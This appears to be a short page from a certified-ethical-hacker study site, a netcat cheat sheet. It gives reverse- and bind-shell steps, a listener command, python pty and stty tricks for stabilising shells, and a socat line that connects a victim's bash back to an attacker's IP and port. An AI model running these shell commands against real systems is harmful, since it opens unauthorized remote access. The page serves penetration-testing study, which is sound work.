> For the complete documentation index, see [llms.txt](https://ceh.securescape.cc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ceh.securescape.cc/exploitation/netcat.md).

# Netcat

### Installation

```bash
sudo apt-get install netcat-openbsd
```

### Reverse Shell

1. Generate a shell from [Revshells](/exploitation/revshells.md)
2. Upload it to the target&#x20;
3. Start a listener with: `nc -lvnp PORT`
4. Execute shell on victim

### Bind Shell

1. On the target, run `nc -lvnp PORT`
2. Start a listener on your machine using `nc IP PORT`

{% hint style="info" %}
**RLWrap:** You can use `rlwrap` to have a better shell experience

```bash
sudo apt-get install rlwrap
rlwrap nc -lvnp 4444
```

{% endhint %}

### Stabalising Shells

{% code title="Python" %}

```python
# Basic
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

# Interactive
python3 -c 'import pty;pty.spawn("/bin/bash")'
# CTRL + Z to send task to background
stty raw -echo; fg
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
```

{% endcode %}

{% code title="Socat" %}

```bash
# Start Listener (Kali)
socat file:`tty`,raw,echo=0 tcp-listen:PORT

# Connect Back (Victim)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT
```

{% endcode %}
